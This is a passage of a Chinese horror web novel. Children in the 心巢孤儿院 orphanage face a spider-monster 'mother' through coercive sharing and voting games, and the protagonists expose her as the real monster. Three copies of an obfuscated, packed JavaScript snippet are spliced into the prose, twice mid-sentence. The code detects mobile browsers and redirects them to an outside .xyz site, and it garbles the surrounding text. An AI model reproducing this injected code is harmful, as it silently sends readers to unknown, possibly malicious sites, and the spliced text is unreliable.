晚餐在一种看似温馨实则紧绷的气氛中结束,碗筷被无声地收走,院长妈妈轻轻敲了敲面前的杯子,脸上挂着那种焊死的、令人不安的慈祥笑容。 “孩子们,为了庆祝心的家人改造完毕,重归我们的大家庭,也为了让我们的心贴得更近,今晚,我们换个方式,来一场‘爱的分享会’吧!” 她的声音柔和,却带着不容拒绝的意味,“我们轮流来说一说,你最爱孤儿院的哪一点。” “但是,”她竖起一根苍白的手指,规则如同冰冷的锁链落下,“不能说别人已经说过的内容哦,我们要学会发现这个家独一无二的美好,对不对?” “既然是游戏,那么……说不出来的孩子,”她喉咙里发出意义不明的咕噜声,像是压抑的笑,“也会有‘小小’的惩罚哦。” 窗外最后一缕阳光仿佛被抽走,餐厅彻底沉入一种非自然的、泛着暖黄光晕的昏暗,阴冷的寒气缠绕着每个孩子的脚踝,向上攀爬。 孩子们被一种无形的秩序引导着,从院长妈妈那一端开始依次发言。 第一个是模范孩子安瑞宁,她向往常一样平淡地说出了重复千百遍的答案:“我最爱孤儿院里和谐的大家。” “对,”院长妈妈微笑着,嘴角裂开的弧度更大,“和谐是最重要的。不和谐的声音……不应该存在。”她的目光若有似无地瞟向常岚和季青。 接着,她环视着孩子们,那些她的所有物,在她爱的巢穴里,不应当有“杂音”。 她轻轻敲击着玻璃杯,空洞的叮当声回响在餐厅,仿佛倒计时一样催促着孩子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449130|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说下去。 下一个孩子机械地说:“我爱院长妈妈每天给我们准备的香甜牛奶。” 院长妈妈满意地点了点头,“对,妈妈的爱就像牛奶一样纯洁、滋养,流入你们每一个人的身体,成为你们的一部分。” “我爱游戏室里彩色的积木。” “那些积木啊,可以搭建出房子,但要记住,只有妈妈搭建的这个‘家’,才是最坚固,最安全的。”她走到孩子身边,手搭在对方肩上,五指微微收紧,孩子身体几不可查地颤抖了一下。 “我爱大家一起唱歌的时候。” …… 孩子们的发言如同被设定好程序的机器,内容空洞而安全。 每一声“爱”都得到院长妈妈的认可和扭曲的注脚,【整体和谐值】缓慢而坚定地向上爬升。 孩子们脸上的笑容越来越一致,眼神越来越暗淡,仿佛被某种无形之物吸走了内在的一切。 季青表面上不动声色,思绪却飞速转动起来,院长妈妈可以通过这种不容拒绝的游戏,强行提升大家的和谐值,那么之前那种通过制造混乱降低整体和谐值,进而削弱院长妈妈能力的方法就很难有效了。 想要破解这个怪谈,就需要更激进的方式,让这个虚假的和谐之家从根基上坍塌! 孩子们的眼神越来越空洞,脸上的笑容越来越标准化。轮到徐菡远时,她冷静地说:“我爱这个家给予我们的秩序和安全。”语气平淡得像在背诵标准答案。 院长妈妈满意地点头,“秩序和安全是绝对的,你是很乖的孩子呢。” 林屿则憋红了脸,才挤出一句:“我……我爱美味的晚餐!" 确实是前面的孩子没说过的内容,可真心与否…… 话音刚落,院长妈妈脸上的笑容瞬间消失。她以一种非人的速度“滑”到林屿身边,整个餐厅的光线随之暗沉了一瞬。 “爱?”她歪着头,脖颈发出“咔吧”的脆响,“你的爱……不够纯粹。” 院长妈妈挡在林屿身前,将他笼罩在自己的阴影中,阻挡了其他孩子的视线。 尖利如钩的手指猛地撬开林屿的嘴巴,不容反抗地探入!林屿的眼睛因极致的恐惧而瞪大,喉咙里发出粗重的呼吸声。 院长妈妈的手指在他口腔内粗暴地搅动、拉扯,锋利的指甲划过柔软的内壁,鲜血瞬间涌出,顺着他的嘴角和下颌流淌下来,滴落在干净的餐盘上,晕开刺目的红。 “呃……啊……”林屿痛得浑身痉挛,却不敢挣扎,只是拼命仰着头,对着院长妈妈,用力挤出一个比哭还难看的、染血的微笑。 院长妈妈这才缓缓抽出手指,离开林屿的座位,其他的孩子,只能看到林屿乖顺的微笑。 院长妈妈将沾血的手指放在唇边,舌尖轻轻一舔。 “你要记住,爱,是需要证明的。” 不能说前面的孩子说过的内容,接龙又是从资历最老的孩子开始,这简直就是针对季青和常岚这种新来的孩子的恶意规则。 常岚忍不住在心里纠结起来,他一个才来到孤儿院不到两小时的人,还刚吃过这么恐怖的一顿饭,怎么能想到什么最爱的一点啊? 但压力来率先到了季青这里,前面孩子们几乎已经把能说的、表面的“美好”都榨干了。 所有目光都集中在她身上,包括院长妈妈那深不见底的注视。 季青歪着头,笑得天真烂漫,说道: “我最喜欢院长妈妈送的铃铛胸针了!” 看似无关痛痒的回答,却让院长妈妈脸上的笑容瞬间剥落,露出了底下某种绝对非人的、冰冷而狰狞的本质。 空气骤然变得冰冷刺骨,仿佛有无形的视线从四面八方聚集而来,牢牢锁定了季青。 季青依旧保持着纯真的微笑,她扯了扯领口那个被院长妈妈亲手别上,系着淡蓝色丝带的铃铛胸针,接着说: “我担心天天戴着弄脏了,想要摘下来好好保存,但是为什么摘不下来呀,院长妈妈?” 14. 心巢孤儿院(七) 季青的话语如同投入死水中的石子,激起的却不是涟漪,而是无声的惊雷。 “为什么摘不下来呀,院长妈妈?” 清脆的童音在落针可闻的餐厅里回荡,带着一种天真的残忍,精准地刺向院长妈妈那看似无懈可击的“爱”的表象。 一瞬间,空气仿佛凝固了,窗外的夕阳的最后一点微光消失,餐厅被寒意取代。 “我好像……摘不下来了?它就像……就像长在衣服上了一样。妈妈,这是为什么呀?” 仿佛有无形的波动扫过整个餐厅。 看似童真的疑问,瞬间激活了许多孩子潜意识里被忽略或被压抑的感官记忆和疑虑! 那个总是第一个回答的安瑞宁,手指几不可查地动了一下,下意识想去摸自己领口的胸针,另一个孩子不自然地扭了扭脖子,更多孩子的脸上浮现出困惑和隐隐的不安。 是啊,为什么摘不下来? 为什么明明有时候觉得不舒服,却从没想过要摘掉它? 这种“没想过”,本身就是最不正常的! 季青眼前的红色UI闪烁着,随着整体和谐值的迅速下降,院长妈妈的力量也被削弱。 院长妈妈妈妈能感觉到,脚下那由恐惧和服从构筑的基石,因为这一个简单、具体的问题,而发出了细微却危险的碎裂声。 她精心营造的“家”的温馨假象,在这个关于“胸针为何长在身上”的孩童式疑问面前,显得如此苍白和……诡异。 她那焊死在脸上的笑脸突然碎裂。 一条黑色的裂缝从两侧嘴角开始延伸,慈祥平和的假面皲裂开,大片的皮肤像孤儿院的墙皮一样剥落,露出下面黑洞洞的内里。 季青看到了那黑洞中闪烁的数个红色复眼,童谣突然浮现在她的脑海中: 【门外的蜘蛛吃娃娃】 院长妈妈的脖颈摇晃着,喉咙里发出一种像是老旧齿轮卡住的“咯咯”声,她似乎在极力压制着什么。 “傻孩子……”她的声音嘶哑得可怕,仿佛生锈失调的八音盒,“因为这胸针……是妈妈爱的烙印啊。它代表着你们永远是妈妈的孩子,是家庭的一员。” “无论你们在哪里,妈妈都能通过它……感受到你们,保护你们。” 她刻意回避了“标记”这种词汇,但模糊回避的解释,几乎等同于确认。 季青要确认的就是这个,她进入孤儿院就被戴上这个铃铛胸针,而当时,院长室里的和谐之钟,读数下降了! 她当时的和谐值低于平均值,和谐之钟的读数才会下降。 所以,虽然被红色人面蛛叮咬后才能看见和谐值UI,但那其实是影响感知的屏蔽系统,用以保持高和谐值孩子们眼中孤儿院的稳定。 其实从戴上胸针时起,她就被纳入和谐值系统了。 进入就要被戴上,且不能被摘下,这个铃铛胸针就就是从孩子们身上掠夺和谐,给院长妈妈提供力量的东西,她就是要捅破这一点! 季青像是恍然大悟般,露出了一个更加灿烂、甚至带着点感动的表情,用力地点了点头,嘴上却说着: “原来是这样!妈妈的爱一直都在守护着我们啊!那我就不摘了,我要一直戴着,让妈妈永远知道我在哪里,这样妈妈就永远能找到我了!” 她的话语听起来无比真诚,仿佛是院长妈妈“爱之教育”的完美成果。 但听在那些内心刚刚泛起一丝疑虑的孩子耳中,尤其是结合院长妈妈刚才那瞬间的失态,这话语里潜藏的意味,足以让人不寒而栗——无论在哪里……这与其说是保护,不如说是无所遁形的监控,是刻入骨髓的控制。 院长妈妈脸上的皮肤再次抽动了一下,落下更多皮肤,更多的红色复眼暴露在外,向各个方向诡异地转动着,扫视所有孩子。 季青这番“顺杆爬”的表演,让她有种吞了苍蝇般的恶心,却又无法发作。她只能维持着那令人毛骨悚然的笑容,从喉咙深处挤出一个音节:“……嗯。” 【提示:整体和谐值持续下降:50%!】 【警告:检测到多个个体同步异常!系统稳定性受到冲击!】 季青眼前的UI红光大盛,和谐值的明显下跌,让餐厅的气压更低。 她环视四周,那些原本麻木的眼神中,似乎有极少数开始闪烁起微弱的、名为“思考”的火星。这火星虽小,却足以燃起颠覆的火焰。 “看来……今天的分享会让大家有些‘疲惫’了。”院长妈妈的声音失去了所有的柔和,只剩下冰冷的威严,“晚餐结束!所有人,立刻回宿舍休息!今晚,谁也不准离开自己的床铺!” 她没有给常岚发言的机会,游戏的规则在信任制度的崩溃面前,显得如此苍白。 孩子们如同得到特赦,又像是被驱赶的羊群,沉默而迅速地离开餐桌,排着队走向宿舍。 季青和常岚交换了下眼神,都在对方眼中看到了凝重。 动摇信任值的计划比想象中成功,但也意味着更猛烈的风暴即将来临。 深夜的孤儿院宿舍,死寂得如同坟墓,院长妈妈今天还挨个给每个人盖上被子,本是很温馨的动作,可如今她顶着半张破碎的脸,只把一些孩子吓得紧紧闭上了眼睛。 可院长妈妈似乎并不在意,她好像坚信一晚过去,第二天大家又会重新相信自己这个好妈妈,重归和谐。 离开宿舍前,院长妈妈回头,诡异的红色复眼挨个扫过每一个孩子: “明天早上妈妈再来看你们……看看你们是否团结,是否安心地待在‘家’里……” 门缓缓关上,宿舍静得可怕。 孩子们躺在狭窄的单人床上一动不动,季青来的第一晚,和谐值还不算低,床铺还能说的上是柔软舒适。现在随着和谐值的降低和院长妈妈力量的消散,连床铺都变得阴冷单薄,甚至散发着淡淡霉味。 常岚几次偷偷睁开眼瞄向季青,他有太多想要和季青确认的事情了,进来前发的那些帖子到底有哪些被验证了?找到破解这个怪谈的方法了吗?自己的剑搁哪去了? 可不管心里藏不住事的人怎么焦急,他隔壁床铺那个藏得住事的人却呼吸平稳,好像已经酣然入睡。 哪有这样作乱又不管的!不怕被那个怪物报复吗? 果然,熬到天快亮的时候,异变发生了。 首先是一阵极其轻微的、仿佛无数细小足肢爬过地板的“沙沙”声,从走廊尽头传来,由远及近。 “咚!咚!咚!” 沉重的、撞击房门的声音,在宿舍门外响起。那声音并不响亮,却带着一种穿透人心的力量,震得床板都在微微发颤。 有几个床铺传来了压抑的、被捂住嘴的抽气声。 但下一秒,常岚感觉到一股冰冷的呼吸,吹在了自己的耳后!他猛地睁开眼,侧头看去——床边空空如也!但那冰冷的触感却真实存在。 同一时间,季青的床边,她看到一只苍白修长、指甲尖长的手,正从床底的阴影里缓缓伸出,摸索着想要抓住她的脚踝。 季青屏住呼吸,直到那手指即将触碰到她皮肤的瞬间,才翻了个身,发出一声似醒非醒的嘟囔声。那手顿了一下,又缓缓缩回了阴影里。 徘徊在阴影里的怪物,似乎在每个人的床铺附近试探、挑选…… 这是一种精神上的酷刑,旨在磨灭他们刚刚萌芽的独立思考,用恐惧重新铸就忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449131|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚。 其他孩子就没那么幸运了。 远处的一张床铺突然传来短促的惊叫! 常岚立刻掀开被子冲向发出尖叫声的床铺,掌尖凝聚元炁,一手刀劈向床底的阴影—— 也许是身体变小的原因,无论是速度还是力道都比常岚预想中的要弱很多,只慢了这一步,阴影里的怪物就逃开了。 常岚懊恼地坐在地上,直到季青的手轻轻搭在他的肩上,常岚才重新调整好呼吸站起。 只那一瞬,床铺上的孩子就消失了,空余巨量的鲜血染红了整张床,还未干涸的血液顺着床脚流到孩子们脚下。 黎明的第一缕灰白光线透过窗户,冷冷照在床铺中央那系着蓝色丝带的铃铛胸针上。 那个怪物,以这样残酷直白的方式回应季青,如何取下这个胸针。 在所有孩子都默默围在床边时,季青和常岚回过头去,门口正站着院长妈妈,她的脸已经恢复如初。 院长妈妈戴着新的面具上前,表情故作沉痛,脚步却轻快,她搂住孩子们: “这是……门外的蜘蛛来了对不对……我们失去了一位家人……” 早餐的气氛比昨晚更加压抑。 没有人说话,只有碗勺碰撞的轻微声响。 院长妈妈坐在主位,脸上恢复了那完美的、焊死的慈祥笑容,仿佛昨夜那个制造恐怖的存在与她毫无关系。 当最后一口食物被无声地咽下,院长妈妈用餐巾优雅地擦了擦嘴角,然后轻轻敲了敲杯子。 所有孩子立刻放下餐具,挺直脊背,目光聚焦到她身上。 “孩子们,”院长妈妈的声音温和,却带着不容置疑的决断,“经过昨晚,妈妈相信你们更加深刻地理解了‘家’的意义。” “昨晚,门外的蜘蛛混在我们中间,吃掉了一位家人,现在我们要想办法找出这个怪物,避免失去更多的家人……” “所以,为了维护我们这个大家庭的纯粹与安宁,从今天起,我们将增加一项新的……日常活动。” 她顿了顿,眼神缓缓扫过每一张脸,像是在清点自己的藏品,又像是在寻找潜在潜在的不安定因素。 “我们要进行,一场找出怪物的审判。” 一股寒意从每个孩子的脊椎窜上后脑。 “规则很简单。”院长妈妈的声音平静,内容却令人毛骨悚然,“每天早餐后,我们都会坐在这里。每个人,都要说出一个名字——你认为,谁最不像我们的家人。” “谁……是那个混进我们家中的,怪物。” “获得票数最多的那一个……”院长的嘴角勾起一个残酷的弧度,“将由妈妈亲手驱逐……直到我们的家重回安宁!” 常岚的双手在桌下紧握着,他才来这里一天,就感受到了如此可怕的恶意。 这不是简单的游戏,而是赤裸裸的生存竞争,是逼着孩子们提高个人和谐值,并互相猜忌、互相指控、互相背叛! 这个怪物要将孩子们刚刚因胸针的真相而动摇的内心,用更残酷的方式重新捆绑在一起,用恐惧和自保的本能,孤立然后扼杀“不和谐的孩子”。 常岚的心沉了下去,季青作为新人,行为“出格”,无疑是众矢之的。如何避免季青成为被投票选出的那个“祭品”,同时还要寻找破解怪谈的方法? 他扭头望向季青,最容易成为众矢之的的季青,此时却平静地靠在椅背上,微微皱着眉,思索着。 院长妈妈离开座位,走到孩子的身后,轻轻牵起他颤抖的手,在他的耳边微笑着说道: “好孩子,妈妈的好孩子。” “来,指给妈妈看,你觉得,谁是那个混进来的怪物?” 15. 心巢孤儿院(八) 院长妈妈握着那个孩子的手,挨个指过坐在桌边的每一个孩子。 被院长妈妈握着手的孩子,僵硬地抬起头,目光空洞地扫过全场,他那麻木的眼神深处,闪过一丝极细微的、几乎无法捕捉的挣扎。 最终,问询的目光落回到了院长妈妈身上。 他的嘴唇翕动,似乎想如同往常一样,寻找出最安全、最和谐的答案。 院长妈妈没有看他,孩子的指尖像犹疑的钟摆,却像被无形的蛛丝牵引,最终指向了一个意料之中的方向。 “我……”那个孩子声音干涩,失去了往日的平静,带上了一点不易察觉的颤抖,顺从地回答:“我选择……季青。” 季青望着指向自己的手指,耸了耸肩,除了她还能是谁呢,上班的时候她就已经当惯了背锅侠,在怪谈中继续背锅也是意料之中。 那个孩子的头垂得更低,不敢去看季青的表情,而院长妈妈的嘴角,勾起一抹微满意的弧度。 “理由呢?我的孩子。”院长的声音带着鼓励,“要毕竟我们这个和谐的大家庭,要讲究‘秩序’。” 那个沉默了几秒,努力为季青编织着罪名: “季青……她昨天的分享,虽然听起来温暖,但……但可能让大家想太多了。” “想太多……就是不和谐的开始。” 他的理由苍白而牵强,甚至带着一种先射箭再画靶的笨拙,与往日流畅的“标准”截然不同。 院长妈妈并没有在意这破绽百出的异常,她的目光在被她点名发言的孩子身上身上只多停留了一瞬,便很快便移开。 “很好的观察,好孩子,保持你的警惕性,这才是对家的负责。” 院长妈妈拍拍手,示意孩子们继续,接下来,孩子们的发言如同被设定好的程序,一个个名字被机械地吐出。 其中大部分孩子,在极度的恐惧和自保的本能驱使下,都选择了跟随第一个指控,将目标指向了最“显眼”的破坏者——季青。 “我选季青,她问了奇怪的问题……” “我选季青,她看起来……不一样。” “季青……她让妈妈不高兴了。” 理由千篇一律,充斥着被引导的恐惧和对“不同”的排斥,貌似和谐的家庭关系像一张无形的网,正在收紧,要将季青这个“异类”彻底排除。 常岚的心提到了嗓子眼,他紧握着拳头,指甲都掐进身下的椅子。 他飞快地思考着对策,是站出来为季青辩护?他一个新来的孩子开口就维护季青,那无疑是向院长妈妈承认,季青还有“同伙”,下一轮他也会被投出去。甚至可能会导致安瑞宁他们也被牵扯怀疑? 那选择指控另一个目标转移视线? 可在这种氛围下,任何异动都可能引发更糟的后果。 季青本人却异常平静。 她甚至没有去看那些指控她的孩子,只是垂着眼睑,仿佛在倾听一场与己无关的讨论。 只有常岚注意到,她放在桌下的手,指尖正在椅子上画着圈。 原来即使没有纸和笔,季老师也改不掉思考的时候手上闲不下来的毛病啊…… 很快就轮到季青这一伙人了,最先发言的是徐菡远。 这个总是冷静得近乎冷漠的女孩,抬起了头,她的目光扫过季青,又看了看主位上那带着胜利者微笑的院长妈妈,最后,她的嘴唇动了动,吐出一个名字: “林屿。” 这个选择让少数几个孩子露出了诧异的神色,林屿更是猛地抬起头,脸上血色尽失,昨天被撕裂嘴角的疼痛仿佛再次袭来。 “理由?”院长妈妈似乎对这个意外的发展颇感兴趣。 “他数次被关进禁闭室改造,平时表现得也不够乖。”徐菡远的语气依旧平淡,听不出任何情绪,“季青虽然是新来的孩子,但融入得很好,还是林屿这种迟迟不能融入我们的坏孩子更像怪物。” 她的逻辑冷酷而直接,既然院长妈妈铁了心要把“坏孩子”处决,那就推出一个坏孩子让她处决。 坏孩子联盟,首先要保住数次动摇了院长妈妈统治的核心——季青。 这与其说是指控,不如说是一种精准的、基于生存理性的“献祭”: 选择一个已经受过数次被关禁闭、且看起来更容易暴露的目标,来保住季青。 院长妈妈玩味地看着徐菡远,点了点头:“也没错,不能融入我们这个大家庭的孩子,和怪物没有区别呢……” 指控的风向出现了一丝微小的偏离,但季青的名字依旧占据着优势。 很快,轮到了林屿。 他瑟瑟发抖,嘴唇哆嗦着,在院长妈妈那越来越不耐的目光逼视下,他心一横,大声说:“我……我选徐菡远!” 他知道,自己被徐菡远抛弃了,但他反选徐菡远并非是为了报复。 林屿很清楚,想要彻底摆脱院长妈妈恐怖的控制,只能指望坏孩子联盟在这场狩猎中有人能够留下来,再找机会彻底击败真正的怪物。 既然他会被投出去,那么他只要装作和徐菡远立场相反,就会让徐菡远更安全! 压力如同不断上涨的潮水,最终促使他做出了这样的决定。 投票还在进行,院长妈妈似乎很享受这种精神上的凌迟。 她的手指在空中缓缓划动,像指挥家在引导着,又像是在威胁着,催促着这场围猎的完成。 终于,轮到了常岚。 所有人的目光都集中在他身上,包括院长妈妈那深不见底、带着明确警告的注视,作为最新来的孩子,他的选择对自身立场至关重要。 常岚深吸一口气,正准备开口—— 一个平静的,甚至带着一丝奇异解脱感的声音,打断了他。 “我选我自己。” 全场寂静。 说话的是安瑞宁,她不知何时站了起来,身体挺得笔直,目光不再空洞,而是带着一种决绝的清澈,直视着院长妈妈。 “你说什么?”院长妈妈脸上的笑容瞬间冻结,声音里透出难以置信的冰冷。 “我选择我自己,安瑞宁。”她清晰地重复,声音不大,却像惊雷一样炸响在每个人耳边,“我认为,这里最不和谐的人,是我自己。” “理由?”院长的声音几乎是从牙缝里挤出来的,周围的空气开始扭曲,她难以相信这个一直最乖的孩子,居然在这种时候坏她好事。 安瑞宁没有以往的乖顺,她甚至向前走了一小步,先是对季青绽出一个微笑,最后目光扫过所有孩子: “作为这里资历最老、最乖的孩子,今天却要指控其他孩子是怪物……” “是我没能起到带头作用,我让妈妈失望了,我对不起大家……” 安瑞宁闭上眼睛,眼泪悄然划过脸颊。 “我愿意接受惩罚!如果一定要有人处决才能保护大家的话,那么我愿意承认我是那个怪物,我愿意接受妈妈的惩罚,为我们和谐的大家庭作出最大的贡献!” 安瑞宁的话语在孩子们死寂的心中漾开了一圈圈恐惧与愧疚交织的涟漪。 “请大家都改投票给我,拜托了!” 安瑞宁不愿意看到任何一个人的牺牲…… 连那些最麻木的孩子眼中也露出了震惊和茫然。安瑞宁,这个一直以来的“模范”,竟然说出了他们连想都不敢想的话! 这话在寂静的餐厅中回荡,带着一种令人心碎的决绝。然而,回应她的,并非孩子们立刻的附和。 而是更深沉的死寂和……院长妈妈身上传来的、令人牙酸的“咯吱”声。 “你——!”院长妈妈猛地站起,身下的椅子发出刺耳的摩擦声。 她的身体开始不自然地膨胀、扭曲,皮肤下仿佛有东西在蠕动,那张慈祥的脸庞上裂开一道道细密的黑色纹路。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449132|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你在胡说什么?!你明明是最乖的孩子,你只要听妈妈的话就好了!” “我不是胡说,妈妈。”安瑞宁的脸上,露出了一个极其悲伤,却又无比坚定的笑容,“让我成为今晚怪物的食物,就能保护大家……” 这一刻,万籁俱寂。 院长妈妈暴怒的尖啸打破了寂静:“够了!不要胡闹!我们不能失去最守规矩的家人!” 安瑞宁是从未逾矩的孩子,个人和谐值一定很高,过去她也在帮助自己维护秩序,是不可多得的好棋子,不能在这为季青设下的陷阱中抛弃! 她伸出已经变得如同昆虫肢节般扭曲尖锐的手,按住安瑞宁。 “你应该像以前一样,按照妈妈的指示,带领大家走向真正的和谐!” 安瑞宁没有反抗,只是闭上了眼睛,仿佛早已预料到这一刻。 就在孩子们犹豫着要不要改投票的时候,季青猛地站起,大声道:“院长妈妈!根据规则,投票尚未结束!安瑞宁指控了自己,但……” “我们还没有完成投票流程!” 院长的动作僵住了。 她扭曲的身体剧烈地起伏着,眼球死死盯住季青,又扫过下面那些开始混乱的孩子们。 她冷静了下来,如果此刻真的带走安瑞宁强行扭转局势,所谓的“审判规则”将彻底沦为笑话,可能引发更不可控的崩坏。 “……好。”院长妈妈的声音嘶哑,带着一丝被压抑的怒意,“很好……安瑞宁,你‘主动’承认了你的不和谐,但这恰恰是你为了维护我们这个大家庭的和谐做出的牺牲。” 院长妈妈重新坐了下来,摆摆手示意大家重新坐好。 “至于到底要选出哪个孩子,还是让所有的孩子都说完,才公平,是不是?” “你。”院长妈妈漆黑的肢节竟延伸到了桌子的另一头,锋利的爪尖闪着寒光,悬停在常岚的面前,“新来的孩子,你要选择谁?” 常岚深吸一口气,打算把水搅浑: 他“霍”地站起,椅子腿与地面摩擦发出刺耳的声响,瞬间吸引了所有目光,也暂时打断了那无声的精神压迫。 “如果安瑞宁可以选自己,那我也要选自己!” “虽然我是最后来的孩子,但我也想学习安瑞宁,为大家带来和谐!” 虽然安瑞宁要求大家改投票给自己的自我牺牲减轻了孩子们的负罪感,给了他们一个“两全其美”的选项,但院长妈妈明显不想让安瑞宁这个乖孩子真的被选出。 那不如就让他来代替安瑞宁成为这个被献祭的羊羔,至少他还有自保的能力,他再次重申: “请大家改投票给我!” 院长妈妈似乎也是松了一口气,下了这个台阶,将常岚这个麻烦的东西处理掉,也是她可以接受的结果。 她缓慢地收回肢节,挑衅地看向季青: “轮到你了,季青,你要选谁?还是说,你也要投自己吗?” 季青低着头,声音没有了往日的清亮: “院长妈妈才是我们这个家庭的核心呢,大家都听妈妈的……” 诡异的笑容重新回到了院长妈妈脸上,她笑着说:“是啊,妈妈就是妈妈呀,是这个家最重要的人哦,所以,不要忤逆妈妈。” “看来你终于理解这一点了。”她彻底放松下来,语气随意地问道:“那么,乖孩子,你要把自己的选择权交给妈妈吗?” “不。” 季青抬起头来。 “既然院长妈妈是这个家庭的核心,那也就是这个家庭的一份子了,理应参与我们的审判。” 她站起身,瘦小的身影在昏暗灯光下被拉长。手臂缓缓抬起,食指如利剑般刺破压抑的空气,精准无误地指向长桌尽头那扭曲的身影—— “我投票给你,院长妈妈!” “你才是那个寄生在家里、破坏和谐的、最大的怪物!” 16. 心巢孤儿院(九) “你才是那个寄生在家里、破坏和谐的、最大的怪物!” 季青坚定有力的话语,揭示了孩子们内心深处被恐惧压抑的怀疑和不安,宛如南美洲扇动翅膀的那只蝴蝶,最终引起了怀疑的风暴。 众人眼前的红色UI疯狂闪烁: 【警告:个人和谐值剧烈波动】 【警告:整体和谐值剧烈波动】 【警告:感知屏障负荷过高,产生强烈同步异常】 伴随着和谐值的急剧下降,那层虚幻的滤镜出现了破碎,微小的缝隙从孩子们脚下延伸开来,直到互相结成蛛网样的裂痕,爬满整个餐厅。 “咔嚓!” 屋顶的老旧灯罩应声碎裂!玻璃渣如雨点般落下! 与此同时,墙壁上的暖色墙纸应声剥落,露出后面交织的、沾满粘液的红色丝网如同血管般鼓动着,粘连在每一处,以至于连墙壁、砖瓦和桌椅这种器物都仿佛有了生命。 餐厅内冰冷的空气被一股浓烈的、带着尸臭和血腥的恶臭彻底取代。 整个孤儿院在几秒钟内从一个扭曲的爱心之家,变成了一个巨大、肮脏的蜘蛛巢穴。 “咯咯……咯咯咯……” 院长妈妈的喉咙里爆发出非人的的尖啸,它从主位上“站起”——那已经不能称之为站,无数多足的、扭曲的肢节从“院长妈妈”纤细的身体中“破壳而出”,肢节末端扭曲的手掌黏在餐厅的四壁上,撑起了充满恶意的躯体! 温柔的假面彻底剥落,还带着微笑的面皮挂在漆黑的口器旁晃荡。 数只猩红的复眼在昏暗中亮起,如同地狱的灯塔,死死锁定季青。 一股混合着疯狂、怨恨与纯粹恶意的精神冲击,如同海啸,向季青、向在场的每一个孩子,碾压而来! 真正的审判,或许此刻,才以另一种形式,轰然降临。 常岚猛地将季青往身后一拉,自己挡在前面,凝聚元炁重重拍在长桌上,金色的辉光在餐厅中震荡,抵抗着蜘蛛怪的侵袭。 季青强忍着那精神侵蚀带来的眩晕,从他身后站稳,她的脸色苍白如纸,眼神却亮得骇人,仿佛燃尽了最后的理智作为燃料。 她没有退缩,反而迎着那非人的注视,用尽力气,声音嘶哑却清晰地穿透了那可怖的咆哮: “大家看清楚!你们眼前恐怖的一切才是真相!” 她的声音在颤抖,却带着一种不容置疑的力量,试图唤醒孩子们被恐惧深埋,甚至被红茧清洗的记忆。 “看看我们周围!”季青指着那粘稠的巢穴内壁,指尖因用力而发白,“这哪里是家?这是它的巢穴!一个用谎言和遗忘编织的囚笼!一个建立在死亡上的坟冢!” 她的话音刚落,仿佛触动了某个开关,周围的异变开始加剧,红色的丝网如同活物般蠕动,一些被丝网包裹、若隐若现的物体轮廓从墙壁和天花板上凸显出来—— 那是一个个蜷缩的、大小不一的……人形茧壳!那些茧壳像是误入蛛网,被啃噬殆尽又遗弃在网中的昆虫,无声地诉说着曾经的悲剧。 这便是季青进入心巢孤儿院之前率先核实的第一条帖子:【孤儿院没有生还者】 空气中开始弥漫开一股更加清晰、无法掩盖的……焦糊味。 “你们闻到了吗?东西烧焦的味道!很多很多年前,这里发生过一场大火!一场吞噬了一切的大火!” “这个怪物,就是在那一天鸠占鹊巢,杀了真正的院长妈妈,害死了大家!” 第二条帖子:【孤儿院怪谈始于孤儿院毁灭的那天】 “住口!住口!” 怪物发出一声更加尖锐、带着一丝惊惶的嘶鸣,一条漆黑的、边缘锐利的肢节如同毒蝎的尾刺,猛地刺向季青! 常岚反应迅速,抄起旁边一张沉重的实木椅子奋力格挡,为季青争取时间。 木椅瞬间爆碎成无数木屑!常岚被巨大的力量狠狠抛向身后的墙壁,而墙壁上,正游移着巨量蠢蠢欲动的血红丝线! 常岚迅速调整姿态,将手中木椅碎裂的椅子腿狠狠插在墙壁上,借着重力划出一道喷涌出鲜血的伤口! 血雾隐藏了孩子们的身形,季青的喊声却越发清晰。 “这里从来没有真正的熟食!所有的食物都是腐烂的、冰冷的!”季青抓住这短暂的间隙,喊出了关键,“所以它怕火!” “那一晚,真正的院长妈妈和孤儿院的大人们试图用火焰驱赶这个闯进孤儿院肆意屠杀的怪物,可没能成功,反而引起了火灾……” 第三条帖子:【孤儿院怪谈的起源,与那场烧毁孤儿院的大火有关】 “但至少让我们能够确认,它畏惧火焰,畏惧热量,那是能将它杀死的东西!” 这个解释,瞬间让许多被忽略的细节串联起来——为什么饭菜总是令人作呕,为什么厨房永远冰冷,为什么连喝的水都带着一股阴寒! “这就是真相……”季青缓步从浓雾中走出,直面那因被说破弱点而更加狂躁的怪物。 “你根本不是院长妈妈!真正的院长妈妈,还有所有曾经在这里的人……都因为你死在了那晚!!” 